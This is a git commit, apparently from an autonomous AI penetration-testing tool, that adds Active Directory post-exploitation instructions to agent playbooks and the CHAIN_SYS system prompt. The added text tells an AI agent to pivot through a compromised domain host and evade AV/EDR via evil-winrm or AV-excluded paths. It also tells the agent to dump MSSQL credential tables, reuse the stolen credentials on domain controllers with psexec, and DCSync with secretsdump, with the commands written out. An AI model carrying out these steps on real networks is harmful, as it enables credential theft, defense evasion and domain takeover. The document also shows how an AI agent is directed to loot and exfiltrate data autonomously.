feat(agents,chain): AD internal-pivot tradecraft for autonomous forest compromise

- CHAIN_SYS + ad_mssql_abuse + windows_winrm_access now encode the techniques
  that get an engagement from a DMZ foothold to forest-root Domain Admin without
  hand-holding:
  - pivot FROM a domain-joined Windows host (it routes to forest subnets the
    operator box cannot reach); one clean SOCKS hop, never stacked forwards.
  - empty exec output = host AV deleting the dropped file -> use evil-winrm
    interactive (streams over WinRM) or an AV-excluded path (C:\Tools), don't
    conclude failure.
  - application credential stores: dump DB credential tables (sa/db-read) — one
    forest's app DB often holds the next forest's admin + the forest-root DA.
  - prefer a direct credential login to a DC over fighting a tunnel/AV for
    DCSync; secretsdump once a DA is held.
- Driven by observed CADP engagement walls (AV output suppression + forest
  routing only via the pivot); generalizes to any segmented multi-forest AD.
This commit is contained in:
CyberSecurityUP committed 2026-11-21 17:57:05 -03:00
1 parent 5a3fe4a7b8
commit d4ec86ef1b
3 files changed
+19 -1

No files matched your search

+9
View File
@@ -33,6 +33,15 @@ Authentication/credentials, if provided, are described in the operator directive
- `SELECT * FROM sys.servers WHERE is_linked=1;`; execute on a link: `EXEC ('SELECT system_user,@@servername') AT [LINKED];`. A self-mapped sysadmin link = remote command exec, possibly cross-domain.
- Loot: `SELECT name,password_hash FROM sys.sql_logins;` (`-m 1731`), connection strings, DPAPI/saved creds via command exec. Validate a looted domain cred BENIGNLY: `nxc smb <host> -u <acct> -H <hash>` (`Pwn3d!`).
### 5b. Application credential stores (HIGH-VALUE — do this on ANY read access)
Even without sysadmin, a plain db-read login can expose credentials an application stores in its own tables — frequently the fastest path to Domain Admin and across forest trusts.
- Enumerate every non-system database and hunt credential-bearing tables/columns:
`SELECT name FROM sys.databases WHERE database_id>4;` then per DB
`SELECT t.name AS tbl, c.name AS col FROM sys.tables t JOIN sys.columns c ON t.object_id=c.object_id WHERE c.name LIKE '%pass%' OR c.name LIKE '%cred%' OR c.name LIKE '%secret%' OR c.name LIKE '%pwd%' OR t.name LIKE '%cred%' OR t.name LIKE '%account%' OR t.name LIKE '%user%';`
- DUMP the matching tables: `USE <db>; SELECT * FROM dbo.<CredentialTable>;`. Expect service accounts, domain-admin and CROSS-FOREST credentials (one forest's app DB often stores the next forest's admin creds, incl the forest-root DA).
- REUSE immediately: validate each recovered account benignly (`nxc smb/winrm <host> -u <acct> -p <pass> -d <domain>` → `Pwn3d!`/`(Pwn3d!)`), then LOG IN DIRECTLY to the domain controllers it unlocks (`evil-winrm -i <dc> -u <adm> -p <pass> -d <domain>`, `impacket-psexec '<domain>/<adm>:<pass>@<dc>'`) and DCSync each (`impacket-secretsdump '<domain>/<adm>:<pass>@<dc>'`). Prefer a direct credential login over fighting a tunnel/AV for a DCSync you can get for free.
- This is CWE-522/CWE-256 (plaintext/exposed credential storage) AND the pivot primitive to every reachable forest — report the disclosure AND the resulting access it proves.
### 6. Report Format
For each CONFIRMED finding:
```
+9
View File
@@ -13,6 +13,15 @@ Authentication/credentials, if provided, are described in the operator directive
### 1. Connect
- `evil-winrm -i {target} -u <user> -p <pass>` (or -H <hash>) with supplied creds/hash
### 1b. Reliable command output (when exec "works" but returns nothing)
- If `nxc ... -x`, `impacket-wmiexec`, or `impacket-smbexec` run but the output comes back EMPTY or truncated, the host's AV/EDR is most likely deleting the staged output file before you read it (common on hardened member servers). Do NOT conclude "exec failed" — switch channels:
- Prefer **`evil-winrm -i <host> -u <user> -p <pass>` (or -H <hash>)**: a real interactive PowerShell session whose output streams back over WinRM, so there is no dropped file for AV to eat. Run your enumeration there.
- Or stage helpers/output in a directory the host already excludes from AV (e.g. `C:\Tools`, `C:\Scripts`, or another path an `Get-MpPreference | select ExclusionPath` shows) and read from there.
- Or capture to a pipe/stdout rather than a temp file.
### 1c. Pivot from the Windows foothold
- A compromised domain-joined host usually ROUTES to the internal/forest subnets even when those subnets are not reachable from the operator box. Run forest enumeration and tooling (nxc, impacket, evil-winrm, mssqlclient, bloodhound) FROM this host, or start ONE clean SOCKS relay through it (single hop — avoid stacking forwards, which corrupts SMB/DRSUAPI) and run tools locally over that proxy.
### 2. Confirm
- Show an authenticated remote shell and the host context (`whoami`, hostname)
@@ -2816,7 +2816,7 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se
finish(cfg, lib, pool, recon, transcript, findings, selected, &mut rl, crate::grounding::GroundMode::Either, context, tx).await
}
const CHAIN_SYS: &str = "You are a post-exploitation & attack-chaining specialist. You are given ONE confirmed foothold plus any loot already gathered. DECIDE the most promising directions to expand from THIS foothold and pursue them with real tools: post-exploitation (loot credentials/tokens/keys/config/source), credential reuse, privilege escalation (horizontal AND vertical), lateral movement to adjacent services/hosts, data exfiltration, and reaching NEW attack surface the foothold exposes (e.g. SSRF→cloud metadata creds→IAM, SQLi→DB dump→credential reuse→admin, arbitrary file read→secrets→RCE, IDOR→account takeover, auth bypass→internal APIs). PROVE each escalated step with a real tool receipt. Report ONLY NEW findings beyond the input, plus any new loot you discovered (creds, tokens, hosts, internal endpoints) so later stages can reuse it. Authorized engagement; never destructive/DoS.";
const CHAIN_SYS: &str = "You are a post-exploitation & attack-chaining specialist. You are given ONE confirmed foothold plus any loot already gathered. DECIDE the most promising directions to expand from THIS foothold and pursue them with real tools: post-exploitation (loot credentials/tokens/keys/config/source), credential reuse, privilege escalation (horizontal AND vertical), lateral movement to adjacent services/hosts, data exfiltration, and reaching NEW attack surface the foothold exposes (e.g. SSRF→cloud metadata creds→IAM, SQLi→DB dump→credential reuse→admin, arbitrary file read→secrets→RCE, IDOR→account takeover, auth bypass→internal APIs). PROVE each escalated step with a real tool receipt. Report ONLY NEW findings beyond the input, plus any new loot you discovered (creds, tokens, hosts, internal endpoints) so later stages can reuse it. AD/INTERNAL PIVOT TRADECRAFT: (a) a compromised domain-joined host usually ROUTES to internal/forest subnets that are unreachable from the operator box — run tooling FROM that host, or start ONE clean SOCKS relay through it (single hop; stacking forwards corrupts SMB/DRSUAPI) and run tools locally over the proxy. (b) If exec runs but output comes back EMPTY/truncated, the host AV/EDR is deleting the dropped output file — do NOT conclude failure; switch to `evil-winrm` (interactive, output streams over WinRM) or stage in an AV-excluded path (e.g. C:\\Tools) and read from there. (c) APPLICATION CREDENTIAL STORES are often the fastest path to Domain Admin: with any DB read access (e.g. MSSQL `sa`/mapped login), enumerate non-system databases for credential tables (columns like pass/cred/secret/pwd) and DUMP them — one forest's app DB commonly stores the NEXT forest's admin and the forest-root DA. (d) Prefer a DIRECT credential login to a domain controller (`evil-winrm`/`impacket-psexec` with a recovered admin) over fighting a tunnel/AV for a DCSync — then `impacket-secretsdump` once you hold a DA. Authorized engagement; never destructive/DoS.";
/// One orchestration round: take the confirmed findings and try to chain them
/// into higher-impact follow-ups, reusing the recon/auth context. Returns the